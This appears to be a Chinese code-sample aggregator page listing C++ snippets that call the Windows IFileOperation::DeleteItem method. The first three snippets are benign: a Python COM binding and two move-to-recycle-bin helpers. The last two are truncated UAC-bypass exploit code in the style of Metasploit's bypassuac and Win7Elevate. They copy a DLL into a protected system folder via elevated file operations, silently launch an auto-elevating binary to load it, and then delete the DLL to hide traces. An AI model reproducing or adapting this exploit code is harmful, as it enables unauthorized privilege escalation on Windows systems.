C++ IFileOperation::DeleteItem方法代码示例

// @pymethod |PyIFileOperation|DeleteItem|Adds a delete operation to the configuration
PyObject *PyIFileOperation::DeleteItem(PyObject *self, PyObject *args)
{
    IFileOperation *pIFO = GetI(self);
    if ( pIFO == NULL )
        return NULL;
    // @pyparm <o PyIShellItem>|Item||Description for psiItem
    // @pyparm <o PyGFileOperationProgressSink>|Sink|None|Progress sink for just this operation
    PyObject *obItem;
    PyObject *obSink = Py_None;
    IShellItem * pItem;
    IFileOperationProgressSink * pSink;
    if (!PyArg_ParseTuple(args, "O|O:DeleteItem", &obItem, &obSink))
        return NULL;
    if (!PyCom_InterfaceFromPyInstanceOrObject(obItem, IID_IShellItem, (void **)&pItem, FALSE))
        return NULL;
    if (!PyCom_InterfaceFromPyInstanceOrObject(obSink, IID_IFileOperationProgressSink, (void **)&pSink, TRUE)) {
        PYCOM_RELEASE(pItem);
        return NULL;
    }

    HRESULT hr;
    PY_INTERFACE_PRECALL;
    hr = pIFO->DeleteItem(pItem, pSink);
    pItem->Release();
    if (pSink)
        pSink->Release();
    PY_INTERFACE_POSTCALL;

    if ( FAILED(hr) )
        return PyCom_BuildPyException(hr, pIFO, IID_IFileOperation );
    Py_INCREF(Py_None);
    return Py_None;
}

  bool MoveFileOrFolderToRecycleBin(const string_t& sFileOrFolderPath)
  {
    // Initialize COM
    cComScope com;

    // Create COM instance of IFileOperation
    IFileOperation* pfo = nullptr;
    HRESULT hr = CoCreateInstance(CLSID_FileOperation, NULL, CLSCTX_ALL, IID_PPV_ARGS(&pfo));
    if (SUCCEEDED(hr)) {
      ASSERT(pfo != nullptr);

      // Set parameters for current operation
      hr = pfo->SetOperationFlags(
          FOF_SILENT |    // Don't display a progress dialog
          FOF_NOERRORUI   // Don't display any error messages to the user
      );

      if (SUCCEEDED(hr)) {
        // Create IShellItem instance associated to file to delete
        IShellItem* psiFileToDelete = nullptr;
        hr = SHCreateItemFromParsingName(sFileOrFolderPath.c_str(), NULL, IID_PPV_ARGS(&psiFileToDelete));
        if (SUCCEEDED(hr)) {
          ASSERT(psiFileToDelete != nullptr);

          // Declare this shell item (file) to be deleted
          hr = pfo->DeleteItem(psiFileToDelete, NULL);
        }

        // Cleanup file-to-delete shell item
        COM_SAFE_RELEASE(psiFileToDelete);

        if (SUCCEEDED(hr)) {
          // Perform the deleting operation
          hr = pfo->PerformOperations();
        }
      }
    }

    // Cleanup file operation object
    COM_SAFE_RELEASE(pfo);

    if (!SUCCEEDED(hr)) {
      std::wcerr<<"MoveFileOrFolderToRubbishBin Error moving \""<<sFileOrFolderPath<<"\" to the recycle bin"<<std::endl;
      return false;
    }

    return true;
  }

bool MoveToTrash::exec() const
{
    HRESULT result = CoInitializeEx(nullptr, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE);

    if (!SUCCEEDED(result))
        return false;

    IFileOperation *fo = nullptr;
    result = CoCreateInstance(CLSID_FileOperation, nullptr, CLSCTX_ALL, IID_PPV_ARGS(&fo));

    if (!SUCCEEDED(result)) {
        CoUninitialize();
        return false;
    }

    ulong flags = FOF_ALLOWUNDO | FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT;

//    if (QSysInfo::windowsVersion() >= QSysInfo::WV_WINDOWS8)
//        flags |= FOFX_RECYCLEONDELETE;

    result = fo->SetOperationFlags(flags);

    if (SUCCEEDED(result)) {
        IShellItem *iShellItem = nullptr;
        result = SHCreateItemFromParsingName(path.toStdWString().c_str(), nullptr, IID_PPV_ARGS(&iShellItem));

        if (SUCCEEDED(result)) {
            result = fo->DeleteItem(iShellItem, nullptr);
            iShellItem->Release();
        }

        if (SUCCEEDED(result))
            result = fo->PerformOperations();
    }

    fo->Release();
    CoUninitialize();

    return SUCCEEDED(result);
}

	void exploit(BypassUacPaths const * const paths)
	{
		const wchar_t *szElevArgs = L"";
		const wchar_t *szEIFOMoniker = NULL;

		PVOID OldValue = NULL;

		IFileOperation *pFileOp = NULL;
		IShellItem *pSHISource = 0;
		IShellItem *pSHIDestination = 0;
		IShellItem *pSHIDelete = 0;

		BOOL bComInitialised = FALSE;

		const IID *pIID_EIFO = &__uuidof(IFileOperation);
		const IID *pIID_EIFOClass = &__uuidof(FileOperation);
		const IID *pIID_ShellItem2 = &__uuidof(IShellItem2);

		dprintf("[BYPASSUACINJ] szElevDir          = %S", paths->szElevDir);
		dprintf("[BYPASSUACINJ] szElevDirSysWow64  = %S", paths->szElevDirSysWow64);
		dprintf("[BYPASSUACINJ] szElevDll          = %S", paths->szElevDll);
		dprintf("[BYPASSUACINJ] szElevDllFull      = %S", paths->szElevDllFull);
		dprintf("[BYPASSUACINJ] szElevExeFull      = %S", paths->szElevExeFull);
		dprintf("[BYPASSUACINJ] szDllTempPath      = %S", paths->szDllTempPath);

		do
		{
			if (CoInitialize(NULL) != S_OK)
			{
				dprintf("[BYPASSUACINJ] Failed to initialize COM");
				break;
			}

			bComInitialised = TRUE;

			if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**)&pFileOp) != S_OK)
			{
				dprintf("[BYPASSUACINJ] Couldn't create EIFO instance");
				break;
			}

			if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) != S_OK)
			{
				dprintf("[BYPASSUACINJ] Couldn't Set operating flags on file op.");
				break;
			}

			if (SHCreateItemFromParsingName((PCWSTR)paths->szDllTempPath, NULL, *pIID_ShellItem2, (void**)&pSHISource) != S_OK)
			{
				dprintf("[BYPASSUACINJ] Unable to create item from name (source)");
				break;
			}

			if (SHCreateItemFromParsingName(paths->szElevDir, NULL, *pIID_ShellItem2, (void**)&pSHIDestination) != S_OK)
			{
				dprintf("[BYPASSUACINJ] Unable to create item from name (destination)");
				break;
			}

			if (pFileOp->CopyItem(pSHISource, pSHIDestination, paths->szElevDll, NULL) != S_OK)
			{
				dprintf("[BYPASSUACINJ] Unable to prepare copy op for elev dll");
				break;
			}

			/* Copy the DLL file to the target folder*/
			if (pFileOp->PerformOperations() != S_OK)
			{
				dprintf("[BYPASSUACINJ] Unable to copy elev dll");
				break;
			}

			/* Execute the target binary */
			SHELLEXECUTEINFOW shinfo;
			ZeroMemory(&shinfo, sizeof(shinfo));
			shinfo.cbSize = sizeof(shinfo);
			shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
			shinfo.lpFile = paths->szElevExeFull;
			shinfo.lpParameters = szElevArgs;
			shinfo.lpDirectory = paths->szElevDir;
			shinfo.nShow = SW_HIDE;

			Wow64DisableWow64FsRedirection(&OldValue);
			if (ShellExecuteExW(&shinfo) && shinfo.hProcess != NULL)
			{
				WaitForSingleObject(shinfo.hProcess, 10000);
				CloseHandle(shinfo.hProcess);
			}

			if (S_OK != SHCreateItemFromParsingName(paths->szElevDllFull, NULL, *pIID_ShellItem2, (void**)&pSHIDelete)
				|| NULL == pSHIDelete)
			{
				dprintf("[BYPASSUACINJ] Failed to create item from parsing name (delete)");
				break;
			}

			if (S_OK != pFileOp->DeleteItem(pSHIDelete, NULL))
			{
				dprintf("[BYPASSUACINJ] Failed to prepare op for delete");
				break;
//.........这里部分代码省略.........

//.........这里部分代码省略.........
	{
		// Load the non-Kernel32.dll functions that we need.

		W7EUtils::GetProcAddr< HRESULT (STDAPICALLTYPE *)(LPVOID pvReserved) >
			tfpCoInitialize( pArgs->fpGetProcAddress, hModuleOle32, pArgs->szCoInitialize );

		W7EUtils::GetProcAddr< void (STDAPICALLTYPE *)(void) >
			tfpCoUninitialize( pArgs->fpGetProcAddress, hModuleOle32, pArgs->szCoUninitialize );

		W7EUtils::GetProcAddr< HRESULT (STDAPICALLTYPE *)(LPCWSTR pszName, BIND_OPTS *pBindOptions, REFIID riid, void **ppv) >
			tfpCoGetObject( pArgs->fpGetProcAddress, hModuleOle32, pArgs->szCoGetObject );

		W7EUtils::GetProcAddr< HRESULT (STDAPICALLTYPE *)(REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, void ** ppv) >
			tfpCoCreateInstance( pArgs->fpGetProcAddress, hModuleOle32, pArgs->szCoCreateInstance );

		W7EUtils::GetProcAddr< HRESULT (STDAPICALLTYPE *)(PCWSTR pszPath, IBindCtx *pbc, REFIID riid, void **ppv) >
			tfpSHCreateItemFromParsingName( pArgs->fpGetProcAddress, hModuleShell32, pArgs->szSHCreateItemFPN );

		W7EUtils::GetProcAddr< BOOL (STDAPICALLTYPE *)(LPSHELLEXECUTEINFOW lpExecInfo) >
			tfpShellExecuteEx( pArgs->fpGetProcAddress, hModuleShell32, pArgs->szShellExecuteExW );

		if (0 != tfpCoInitialize.f
		&&	0 != tfpCoUninitialize.f
		&&	0 != tfpCoGetObject.f
		&&	0 != tfpCoCreateInstance.f
		&&	0 != tfpSHCreateItemFromParsingName.f
		&&	0 != tfpShellExecuteEx.f)
		{
			if (S_OK == tfpCoInitialize.f(NULL))
			{
				BIND_OPTS3 bo;
				for(int i = 0; i < sizeof(bo); ++i) { reinterpret_cast< BYTE * >(&bo)[i] = 0; } // This loop is easier than pushing ZeroMemory or memset through pArgs.
				bo.cbStruct = sizeof(bo);
				bo.dwClassContext = CLSCTX_LOCAL_SERVER;

				// For testing other COM objects/methods, start here.
				{
					IFileOperation *pFileOp = 0;
					IShellItem *pSHISource = 0;
					IShellItem *pSHIDestination = 0;
					IShellItem *pSHIDelete = 0;

					// This is a completely standard call to IFileOperation, if you ignore all the pArgs/func-pointer indirection.
					if (
						(pArgs->szEIFOMoniker  && S_OK == tfpCoGetObject.f( pArgs->szEIFOMoniker, &bo, *pArgs->pIID_EIFO, reinterpret_cast< void ** >(&pFileOp)))
					||	(pArgs->pIID_EIFOClass && S_OK == tfpCoCreateInstance.f( *pArgs->pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER|CLSCTX_INPROC_SERVER|CLSCTX_INPROC_HANDLER, *pArgs->pIID_EIFO, reinterpret_cast< void ** >(&pFileOp)))
						)
					if (0    != pFileOp)
					if (S_OK == pFileOp->SetOperationFlags(FOF_NOCONFIRMATION|FOF_SILENT|FOFX_SHOWELEVATIONPROMPT|FOFX_NOCOPYHOOKS|FOFX_REQUIREELEVATION))
					if (S_OK == tfpSHCreateItemFromParsingName.f( pArgs->szSourceDll, NULL, *pArgs->pIID_ShellItem2, reinterpret_cast< void ** >(&pSHISource)))
					if (0    != pSHISource)
					if (S_OK == tfpSHCreateItemFromParsingName.f( pArgs->szElevDir, NULL, *pArgs->pIID_ShellItem2, reinterpret_cast< void ** >(&pSHIDestination)))
					if (0    != pSHIDestination)
					if (S_OK == pFileOp->CopyItem(pSHISource, pSHIDestination, pArgs->szElevDll, NULL))
					if (S_OK == pFileOp->PerformOperations())
					{
						// Use ShellExecuteEx to launch the "part 2" target process. Again, a completely standard API call.
						// (Note: Don't use CreateProcess as it seems not to do the auto-elevation stuff.)
						SHELLEXECUTEINFO shinfo;
						for(int i = 0; i < sizeof(shinfo); ++i) { reinterpret_cast< BYTE * >(&shinfo)[i] = 0; } // This loop is easier than pushing ZeroMemory or memset through pArgs.
						shinfo.cbSize = sizeof(shinfo);
						shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
						shinfo.lpFile = pArgs->szElevExeFull;
						shinfo.lpParameters = pArgs->szElevArgs;
						shinfo.lpDirectory = pArgs->szElevDir;
						shinfo.nShow = SW_SHOW;

						if (tfpShellExecuteEx.f(&shinfo) && shinfo.hProcess != NULL)
						{
							// Wait for the "part 2" target process to finish.
							pArgs->fpWaitForSingleObject(shinfo.hProcess, INFINITE);

							pArgs->fpCloseHandle(shinfo.hProcess);
						}

						// Another standard call to IFileOperation, this time to delete our dummy DLL. We clean up our mess.
						if (S_OK == tfpSHCreateItemFromParsingName.f( pArgs->szElevDllFull, NULL, *pArgs->pIID_ShellItem2, reinterpret_cast< void ** >(&pSHIDelete)))
						if (0    != pSHIDelete)
						if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL))
						{
							pFileOp->PerformOperations();
						}
					}

					if (pSHIDelete)      { pSHIDelete->Release();      }
					if (pSHIDestination) { pSHIDestination->Release(); }
					if (pSHISource)      { pSHISource->Release();      }
					if (pFileOp)         { pFileOp->Release();         }
				}

				tfpCoUninitialize.f();
			}
		}
	}

	if (hModuleShell32)  { pArgs->fpFreeLibrary(hModuleShell32);  }
	if (hModuleOle32)    { pArgs->fpFreeLibrary(hModuleOle32);    }

	return 0;
}